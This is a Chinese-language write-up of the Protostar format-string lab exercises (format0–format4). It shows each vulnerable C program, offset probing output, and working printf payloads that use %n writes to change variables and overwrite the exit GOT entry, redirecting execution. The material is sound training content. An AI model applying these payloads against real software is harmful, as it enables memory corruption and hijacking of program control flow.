Protostar Format Write Up

Protostar Format0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

思路:這題還是在考溢出,要求輸入不能超過10個字節,這就不好輸入64個字符去溢出了(事實上可以這麼做,因爲程序並沒限制輸入長度)。

$ /opt/protostar/bin/format0 `python -c "print '%64c\xef\xbe\xad\xde'"`
you have hit the target correctly :)

Protostar Format1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

思路:要讓target的值不爲0,可以通過printf的格式化字符參數%n對target進行寫入。查看target的地址

$ objdump -t ./format1 | grep target
08049638 g     O .bss   00000004              target

找printf的格式化字符串偏移

/opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*200+'%x.%x'"`
AAAAAAA804960c.bffffa78.8048469.b7fd8304.b7fd7ff4.bffffa78.8048435.bffffc3c.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffaf8.b7eadc76.2.bffffb24.bffffb30.b7fe1848.bffffae0.ffffffff.b7ffeff4.804824d.1.bffffae0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffaf8.edc5b76f.c788c17f.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffb24.8048450.8048440.b7ff1040.bffffb1c.b7fff8f8.2.bffffc21.bffffc3c.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffc0b.1f.bfffffe1.f.bffffc1b.0.0.d1000000.5b002451.e0080918.7d641906.695bcde6.363836.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141.25414141.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e

要減掉74個偏移

$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*126+'%x.%x'"`
AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd1a.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.b5cb15a7.9f85c3b7.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcff.bffffd1a.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.e9000000.da822fcd.c26c251e.34113db.699ad322.363836.0.0.0.2f000000.2f74706f.746f7270.6174736f.69622f72.6f662f6e

What!AAAAAAA(41414141414141)哪去了?再增加5個偏移試試

$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*131+'%x.%x'"`
AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd0b.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.842a5824.ae648e34.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf0.bffffd0b.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.f2000000.7c367e91.ddadbdee.74710e02.696d86b4.363836.74706f2f.6f72702f.74736f74.622f7261.662f6e69.616d726f.41003174.41414141.78254141.2e78252e.252e7825.78252e78.2e78252e.252e7825

這裏明明多出了5個偏移。減掉3個偏移試試

$ /opt/protostar/bin/format1 `python -c "print 'AAAAAAA'+'%x.'*128+'%x.%x'"`
AAAAAAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd14.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.42e32c15.68adfa05.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf9.bffffd14.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.27000000.c62c7774.ebb55e8a.2e784acf.69741b43.363836.0.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141.25414141

這次將AAAAAAA放到了最後的8個字節了,將前4個A改成target的地址,倒數第2個%x改成%n,對target進行寫入(從輸出我們看到這個數值肯定不爲0)

$ /opt/protostar/bin/format1 `python -c "print '\x38\x96\x04\x08AAA'+'%x.'*128+'%n.%x'"`
8�AAA804960c.bffffb48.8048469.b7fd8304.b7fd7ff4.bffffb48.8048435.bffffd14.b7ff1040.804845b.b7fd7ff4.8048450.0.bffffbc8.b7eadc76.2.bffffbf4.bffffc00.b7fe1848.bffffbb0.ffffffff.b7ffeff4.804824d.1.bffffbb0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffbc8.7afccad0.50b21cc0.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffffbf4.8048450.8048440.b7ff1040.bffffbec.b7fff8f8.2.bffffcf9.bffffd14.0.bffffea1.bffffec2.bffffecc.bffffee0.bffffef6.bfffff06.bfffff19.bfffff26.bfffff3a.bfffff78.bfffff89.bfffff97.bfffffae.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffffcdb.1f.bfffffe1.f.bffffceb.0.0.c9000000.3561420f.7fd7c285.ed64dd0e.6910e8b1.363836.0.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461..25414141you have modified the target :)

成功了。這裏我用7個A,而不用4個A,因爲根據抽屜原理,至少7個A可以覆蓋一個連續的4字節。

但這個輸出好難看,優化一下,用n$去直接定位偏移,修改payload如下:

$ ./format1 `python -c 'print "\x38\x96\x04\x08AAA"+".%124$n.%125$x"'`
8�AAA..2e414141you have modified the target :)

這裏的124和125是重新測的偏移(中途退出了protostar的登錄,重新登錄進去後偏移變了),另外發現/opt/protostar/bin/format1與./format1的偏移也是不一樣的。

Protostar Format2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

思路:與上題類似,但這裏需要將target的值賦爲64,可以通過string+%n實現。首先找到target的位置

$ objdump -t ./format2 | grep target
080496e4 g     O .bss   00000004              target

找printf的偏移

$ echo `python -c "print 'AAAAAAA'+'.%x'*200"` | /opt/protostar/bin/format2
AAAAAAA.200.b7fd8420.bffffb24.41414141.2e414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.78252e.b7ec6365.b7ff1040.bffffcf8.80484c6.80484e0.0.bffffd78.b7eadc76.1.bffffda4.bffffdac.b7fe1848.bffffd60.ffffffff.b7ffeff4.8048285.1.bffffd60.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffffd78.c4282622.ee6a5032.0.0.0.1.80483a0.0.b7ff6210.b7eadb9b.b7ffeff4.1target is 0 :(

偏移在第4個位置

$ echo `python -c "print 'AAAA'+'%x'*4"` | /opt/protostar/bin/format2
AAAA200b7fd8420bffffb0441414141
target is 0 :(

要使target爲64,而需要在格式化字符串輸出到%n時達到64個字符,其中200b7fd8420bffffb04有19個字符,除了要輸入的target的佔4個字節,還差41個字符,構造payload

$ echo `python -c "print '\xe4\x96\x04\x08'+'A'*41+'%x'*3+'%n'"` | /opt/protostar/bin/format2
��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA200b7fd8420bffffb04
you have modified the target :)

美化一下

$ echo `python -c 'print "\xe4\x96\x04\x08%60c%4$n"'` | /opt/protostar/bin/format2
��                                                           
you have modified the target :)

這裏有個有趣的地方:引號問題。上面這個payload,如果將單引與雙引交換,則通不過。以爲是%4npython2python3print n’與print “%4$n”的結果是一樣的,好吧,先mark一下。以後還是用’”“’,不用”””(這跟sql裏的常用寫法反過來)

Protostar Format3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

思路:要將target寫入0x01025544,%n寫入的是一個字節,那就可以一個字節一個字節地寫入,如果後一個字節要放的數字比前一位要放的數字小,則利用高位溢出

找target位置

$ objdump -t /opt/protostar/bin/format3 | grep target
080496f4 g     O .bss   00000004              target

找printbuffer偏移

$ python -c 'print "AAAAAAA"+".%x"*15' | /opt/protostar/bin/format3
AAAAAAA.0.bffffac0.b7fd7ff4.0.0.bffffcc8.804849d.bffffac0.200.b7fd8420.bffffb04.41414141.2e414141.252e7825.78252e78
target is 00000000 :(
$ python -c 'print "AAAA"+".%x"*12' | /opt/protostar/bin/format3
AAAA.0.bffffac0.b7fd7ff4.0.0.bffffcc8.804849d.bffffac0.200.b7fd8420.bffffb04.41414141
target is 00000000 :(

得偏移量爲12,寫入target

$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%12$n%13$n%14$n%15$n"' | /opt/protostar/bin/format3
��������
target is 10101010 :(

要使得target的存儲狀態爲:44 55 02 01
0x44 - 0x10 = 0x34 = 52
0x55 - 0x44 = 0x11 = 17
0x02 - 0x55 -> 0x102 - 0x55 = 0xad = 173
0x01 - 0x102 -> 0x201 - 0x102 = 0xff = 255

構造payload:

$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$n%17c%13$n%173c%14$n%255c%15$n"' | /opt/protostar/bin/format3
��������                                                                   �                                                                                                                                                                            �                                                                                                                                                                                                                                                              
you have modified the target :)

Protostar Format4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

思路:從程序上看,應該是要控制eip,使其跳轉到hello的地址上去。而printf後有exit,也就可以利用printf來控制exit跳轉到hello

exit本應該跳的地址

$ gdb -q format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) x/i 0x80483ec
0x80483ec <exit@plt>:   jmp    *0x8049724

hello的地址

(gdb) p hello
$1 = {void (void)} 0x80484b4 <hello>

也就是說,要將0x8049724對應的內容改寫爲0x80484b4,這可是printf的強項。查找printf的輸入偏移

$ python -c 'print "AAAAAAA"+".%x"*15' | /opt/protostar/bin/format4
AAAAAAA.200.b7fd8420.bffffb04.41414141.2e414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825
$ python -c 'print "AAAA"+".%x"*4' | /opt/protostar/bin/format4
AAAA.200.b7fd8420.bffffb04.41414141

要將0x8049724對應的內容改寫爲0x80484b4,即0x8049724對應的內容存儲狀態爲:b4 84 04 08
0xb4 - 0x10 = 0xa4 = 164
0x84 - 0xb4 -> 0x184 - 0xb4 = 208
0x04 - 0x184 -> 0x204 - 0x184 = 128
0x08 - 0x204 -> 0x208 - 0x204 = 4

構造payload:

$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$n%208c%5$n%128c%6$n%4c%7$n"' | /opt/protostar/bin/format4
$�%�&�'�                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     $
code execution redirected! you win

小結

格式化字符串漏洞並不神祕,只要用心去調一調。但是,經典漏洞確實是經典,是過去,在當今的操作系統上並不是直接按照當年的套路就可以復現。這裏也留下了3個問題待思考:

  1. 對於format1,去測printf偏移時,偏移量變來變去是爲什麼?爲什麼後面的format卻沒有這樣的問題?
  2. 爲什麼以絕對路徑和相對路徑執行程序的結果會不同?
  3. 爲什麼python的printf ‘“xxx”’與printf “‘xxx’”的結果會不同?
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章